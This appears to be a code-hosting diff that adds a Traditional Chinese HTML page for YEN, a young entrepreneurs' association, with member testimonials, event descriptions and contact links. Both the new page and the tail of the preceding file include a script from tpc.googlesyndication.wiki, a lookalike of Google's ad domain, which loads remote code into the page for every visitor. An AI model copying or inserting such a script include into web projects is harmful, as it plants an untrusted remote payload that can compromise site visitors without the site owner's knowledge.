<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
|
||||
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
|
||||
<script>
|
||||
new WOW().init();
|
||||
</script>
|
||||
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
|
||||
<script src="../js/jquery.cookie.min.js"></script>
|
||||
<script src="../js/common.js"></script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
+267
@@ -0,0 +1,267 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<!-- basic meta tags
|
||||
=========================================== -->
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
|
||||
|
||||
<!-- style files
|
||||
=========================================== -->
|
||||
<link rel="icon" href="../favicon.ico">
|
||||
<!-- fonta -->
|
||||
<link rel="preconnect" href="https://fonts.gstatic.com">
|
||||
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
|
||||
<!-- Bootstrap CSS -->
|
||||
<link rel="stylesheet" href="../style/bootstrap.min.css" />
|
||||
<!-- animated.css -->
|
||||
<link rel="stylesheet" href="../style/animate.min.css" />
|
||||
<!-- css -->
|
||||
<link rel="stylesheet" href="../style/style.css">
|
||||
<link rel="stylesheet" href="../style/value.css">
|
||||
|
||||
<!-- page title
|
||||
=========================================== -->
|
||||
<title>YEN</title>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<!-- navbar
|
||||
=========================================== -->
|
||||
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
|
||||
<div class="container">
|
||||
<!-- left -->
|
||||
<div class="header-container">
|
||||
<a href="index.html">
|
||||
<img class="site-logo" src="../images/logo.png" />
|
||||
<label>YEN</label>
|
||||
</a>
|
||||
<h2>對你的價值</h2>
|
||||
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
|
||||
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
|
||||
aria-label="Toggle navigation">
|
||||
<span class="nav__icon"></span>
|
||||
</button>
|
||||
</div>
|
||||
<!-- right -->
|
||||
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
|
||||
<ul class="navbar-nav">
|
||||
<li class="nav-item">
|
||||
<a class="nav-link active" href="index.html" data-i18n-text="home">首頁</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介紹</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="value.html" data-i18n-text="">對你的價值</a>
|
||||
</li>
|
||||
<li class="nav-item">
|
||||
<a class="nav-link" href="join.html" data-i18n-text="">加入我們</a>
|
||||
</li>
|
||||
</ul>
|
||||
<div id="language" class="select-language">
|
||||
<a href="../index.html">简</a> | <a href="index.html">繁</a> | <a href="../en/index.html">EN</a>
|
||||
</div>
|
||||
</div><!-- /nav links -->
|
||||
</div><!-- /container -->
|
||||
</nav><!-- /navbar -->
|
||||
|
||||
<main>
|
||||
<section id="block-worth-1" class="page-block block-worth-1">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-worth-1a-pc.jpg" style="background-image: url('../images/block-worth-1a.jpg')"></div>
|
||||
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-worth-1b-pc.jpg" style="background-image: url('../images/block-worth-1b.jpg')"></div>
|
||||
<div class="slideshow-4-image" style="background-image: url('../images/block-worth-1c.jpg')"></div>
|
||||
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-worth-1d-pc.jpg" style="background-image: url('../images/block-worth-1d.jpg')"></div>
|
||||
</div>
|
||||
<div class="main-worth main-worth-mask-1">
|
||||
<div class="container">
|
||||
<div id="value" class="worth-content-1">
|
||||
<div class="animate__animated animate__fadeIn">
|
||||
<span>
|
||||
“若說海内存知己，YEN的兄弟姐妹一定若比鄰”
|
||||
<small>- W.C 房地產業</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-2s">
|
||||
<span>
|
||||
“可以敞開坦露脆弱的地方”
|
||||
<small>- C.Y. 管理顧問業</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-1s">
|
||||
<span>
|
||||
“這裡不販賣信仰，卻能篤定我往前的信念”
|
||||
<small>- V.T. 食品業</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-3s">
|
||||
<span>
|
||||
“各行業的深入洞察，分享真誠不套路”
|
||||
<small>- T.H. 製造業</small>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section id="block-worth-2" class="page-block block-worth-2">
|
||||
<div class="slideshow">
|
||||
<div class="slideshow-5-image pc-source" data-pc-url="../images/block-worth-2a-pc.jpg" style="background-image: url('../images/block-worth-2a.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2b.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2c.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2d.jpg')"></div>
|
||||
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2e.jpg')"></div>
|
||||
</div>
|
||||
<div class="worth-main-2">
|
||||
<div class="container">
|
||||
<div class="content">
|
||||
<div>
|
||||
<h3>來！一起參加YEN的</h3>
|
||||
<div class="main-2">
|
||||
<div class="worth-content-2">
|
||||
<div>
|
||||
<h5>分會分享會</h5>
|
||||
<label>學習新知、保持最新商業的嗅覺</label>
|
||||
<p>各地分會每年6-10次的乾貨分享會，在保密的原則下，分享深入的商業/生活主題</p>
|
||||
</div>
|
||||
<div>
|
||||
<h5>分會年度進修</h5>
|
||||
<label>與自己分會會員深交的最好機會</label>
|
||||
<p>分會每年的體驗高點：每年一次三到四天的外出旅遊與學習，旅程中圍繞著本地會員開展各種學習與融入活動。</p>
|
||||
</div>
|
||||
<div>
|
||||
<h5>私董會</h5>
|
||||
<label>解決你各方面的議題</label>
|
||||
<p>私董會是YEN裡頭最緊密的互助小組。不同於公開的大型活動，私董會是由固定的6-8位會員，一年6-10次聚在一起討論和解決各自遇到的議題。</p>
|
||||
</div>
|
||||
<div>
|
||||
<h5>全球高峰會</h5>
|
||||
<label>讓你認識各地、各行業的YEN兄弟姐妹</label>
|
||||
<p>每年五月，全球各地的會員聚在一處有三到四天的密集活動，包含了學習、融入甚至競賽。全球高峰會是最好認識跨分會會員的機會。</p>
|
||||
</div>
|
||||
<div>
|
||||
<h5>融入活動</h5>
|
||||
<label>非正式、靈活的將會員融合在一起</label>
|
||||
<p>除了正式的學習活動，YEN還有許多本地分會或者跨分會的融入活動，從戶外運動、家庭活動、到小範圍聚餐。</p>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
|
||||
<section class="contact-wrapper">
|
||||
<div class="container">
|
||||
<div class="main-content">
|
||||
<label>聯繫YEN</label>
|
||||
<p>
|
||||
<span>
|
||||
<img src="../images/icon-mail.png" />
|
||||
<a href="https://yen.network/cdn-cgi/l/email-protection#3148545f1f50555c585f007158525d5e44551f525e5c"><span class="__cf_email__" data-cfemail="99e0fcf7b7f8fdf4f0f7a8d9f0faf5f6ecfdb7faf6f4">[email protected]</span></a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="../images/icon-fb.png" />
|
||||
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">雁博青年創業家協會</a>
|
||||
</span>
|
||||
<span>
|
||||
<img src="../images/icon-wechat.png" />
|
||||
<a href="javascript:;">公众号: 雁博会YEN</a>
|
||||
</span>
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
</section>
|
||||
</main>
|
||||
<div class="copyright">© 2022 雁博青年創業家協會.</div>
|
||||
|
||||
|
||||
|
||||
<!-- bootsrap js and jquery
|
||||
=========================================== -->
|
||||
<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
|
||||
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
|
||||
<script>
|
||||
new WOW().init();
|
||||
</script>
|
||||
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
|
||||
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
|
||||
<script src="../js/jquery.cookie.min.js"></script>
|
||||
<script src="../js/common.js"></script>
|
||||
<script>
|
||||
function tranSlogan() {
|
||||
const oDiv = document.getElementById('value')
|
||||
let i = 2
|
||||
const t1 = `
|
||||
<div class="animate__animated animate__fadeIn">
|
||||
<span>
|
||||
“若說海内存知己，YEN的兄弟姐妹一定若比鄰”
|
||||
<small>- W.C 房地產業</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-2s">
|
||||
<span>
|
||||
“可以敞開坦露脆弱的地方”
|
||||
<small>- C.Y. 管理顧問業</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-1s">
|
||||
<span>
|
||||
“這裡不販賣信仰，卻能篤定我往前的信念”
|
||||
<small>- V.T. 食品業</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-3s">
|
||||
<span>
|
||||
“各行業的深入洞察，分享真誠不套路”
|
||||
<small>- T.H. 製造業</small>
|
||||
</span>
|
||||
</div>
|
||||
`
|
||||
const t2 = `
|
||||
<div class="animate__animated animate__fadeIn">
|
||||
<span>
|
||||
“你可以選擇的兄弟姐妹”
|
||||
<small>- B.C. 教育訓練業</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-2s">
|
||||
<span>
|
||||
“無需帶面具，真實做自己”
|
||||
<small>- A.C. 製造&貿易業</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-1s">
|
||||
<span>
|
||||
“創業路上最大的慰藉！”
|
||||
<small>- L.L. 電子商務業</small>
|
||||
</span>
|
||||
</div>
|
||||
<div class="animate__animated animate__fadeIn animate__delay-3s">
|
||||
<span>
|
||||
“這裡的每一面鏡子都可以照出創業路上相似的經歷。”
|
||||
<small>- N.H 文化傳媒</small>
|
||||
</span>
|
||||
</div>
|
||||
`
|
||||
setInterval(function() {
|
||||
if(i == 1) {
|
||||
oDiv.innerHTML = t1
|
||||
i = 2
|
||||
}
|
||||
else if(i === 2) {
|
||||
oDiv.innerHTML = t2
|
||||
i = 1
|
||||
}
|
||||
}, 12000)
|
||||
}
|
||||
tranSlogan()
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
Reference in New Issue
Block a user